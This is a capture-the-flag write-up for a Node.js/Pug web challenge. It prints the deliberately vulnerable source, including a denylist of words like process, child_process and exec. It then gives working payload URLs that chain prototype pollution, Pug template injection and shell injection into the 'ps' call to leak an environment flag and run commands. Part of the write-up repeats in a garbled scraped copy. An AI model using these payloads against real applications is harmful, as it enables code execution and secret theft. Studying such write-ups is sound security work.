Here is the beta access to a interactive learning tool of my course
Source code
// index.js
const express = require('express');
const deparam = require('jquery-deparam');
const {template} = require('./util.js');
const pug = require('pug');
const child_process = require('child_process');
const app = express()
const port = 3000
app.set('view engine', 'pug')
//Configure server-staus options here
options = {args:["-eo", "cpu,args"], options:{"timeout":500} }
//I don't trust these modules
Object.seal && [ Object, Array, String, Number ].map( function( builtin ) { Object.seal( builtin.prototype ); } )
//I believe in Defense in Depth and I don't trust the code I write, so here is my waf
app.use((req, res, next) => {
inp = decodeURIComponent(req.originalUrl)
const denylist = ["%","(","global", "process","mainModule","require","child_process","exec","\"","'","!","`",":","-","_"];
for(i=0;i<denylist.length; i++){
if(inp.includes(denylist[i])){
return res.send('request is blocked');
}
}
next();
});
app.get('/',(req,res) =>{
var basic = {
title: "Pug 101",
head: "Welcome to Pug 101",
name: "Guest"
}
var input = deparam(req.originalUrl.slice(2));
if(input.name)
basic.name = input.name.Safetify()
if(input.head)
basic.head = input.head.Safetify()
var content = input.content? input.content.Safetify() : ''
var pugtmpl = template.replace('OUT',content)
const compiledFunction = pug.compile(pugtmpl)
res.send(compiledFunction(basic));
});
app.get('/serverstatus', (req, res) => {
const result = child_process.spawnSync('ps' , options.args, options.options);
out = result.stdout.toString();
res.send(out)
})
app.listen(port, () => {
console.log('started')
})
// util.js
//Copied from https://github.com/Spacebrew/spacebrew/blob/1d8fb258c04cfe65728ce32e0b198032f384d9c3/admin/js/utils.js
//static regex and function to replace all non-alphanumeric characters
//in a string with their unicode decimal surrounded by hyphens
//and a regex/function pair to do the reverse
String.SafetifyRegExp = new RegExp("([^a-zA-Z0-9 \r\n])","gi");
String.UnsafetifyRegExp = new RegExp("-(.*?)-","gi");
String.SafetifyFunc = function(match, capture, index, full){
//my pug hates these characters
return "b nyan "+capture.charCodeAt(0);
};
String.UnsafetifyFunc = function(match, capture, index, full){
return String.fromCharCode(capture);
};
//create a String prototype function so we can do this directly on each string as
//"my cool string".Safetify()
String.prototype.Safetify = function(){
return this.replace(String.SafetifyRegExp, String.SafetifyFunc);
};
String.prototype.Unsafetify = function(){
return this.replace(String.UnsafetifyRegExp, String.UnsafetifyFunc);
};
//global functions so we can call ['hello','there'].map(Safetify)
Safetify = function(s){
return s.Safetify();
};
Unsafetify = function(s){
return s.Unsafetify();
};
var template = `
doctype html
html
head
title #{title}
link(rel="stylesheet" href="https://unpkg.com/@picocss/pico@latest/css/pico.min.css")
body
h1 #{head}, #{name}
p You can learn about Pug interactively on my brand new site!
p Note: The pug features are limited, for more pug features you have to subscribe to my course which will be released soon.
form(action='/', method='GET')
p
| name:
input( name='name', value='Guest')
br
| content:
textarea( name='content') b hello world
input(type='submit', value='Submit')
br
p Rendered Output:
OUT`
module.exports = {
template: template
}
Writeup
I checked package.json and found jquery-deparam, so I think it's a challenge about prototype pollution.
But, the prototype has been sealed via Objec.seal:
So, our target is not Object.prototype, is String.SafetifyRegExp. We can pollute String.SafetifyRegExp to bypass SafetifyFunc.
Like this:
?a[b]=c&a[b][constructor][SafetifyRegExp]=9
// "c".constructor is String
// so String.SafetifyRegExp = '9'
We can use any characters now, and then we can leverage pug.compile to do SSTI.
global is blocked but we can use this instead, process also blocked so we need to find another way, I found that we can use options.args:
b hello world #{this[options.args[1][1]+options.args[1][5]+options.args[0][2]+options.args[1][0]+options.args[0][1]+options.args[1][7]+options.args[1][7]].env.FLAG}
What if we couldn't find all the characters in options.args? We can pollute another property as well:
http://localhost:3000/?a[b]=c&a[b][constructor][SafetifyRegExp]=9&b[constructor][prototype][valueOf]=proces
b #{this[options.valueOf+options.valueOf[5]].env.FLAG}
Just modify optinos if you need a RCE:
http://localhost:3000/?
a[b]=c&a[b][constructor][SafetifyRegExp]=9&
b[constructor][prototype][valueOf]=;env;
b #{options.options.shell=true} #{options.args[0]=options.valueOf}
Description
Here is the beta access to a interactive learning tool of my course
Source code
Writeup
I checked
package.json
and foundjquery-deparam
, so I think it's a challenge about prototype pollution.But, the prototype has been sealed via
Objec.seal
:So, our target is not
Object.prototype
, isString.SafetifyRegExp
. We can polluteString.SafetifyRegExp
to bypassSafetifyFunc
.Like this:
We can use any characters now, and then we can leverage
pug.compile
to do SSTI.global
is blocked but we can usethis
instead,process
also blocked so we need to find another way, I found that we can useoptions.args
:What if we couldn't find all the characters in
options.args
? We can pollute another property as well:Just modify
optinos
if you need a RCE:Then vist
/serverstatus
to see the result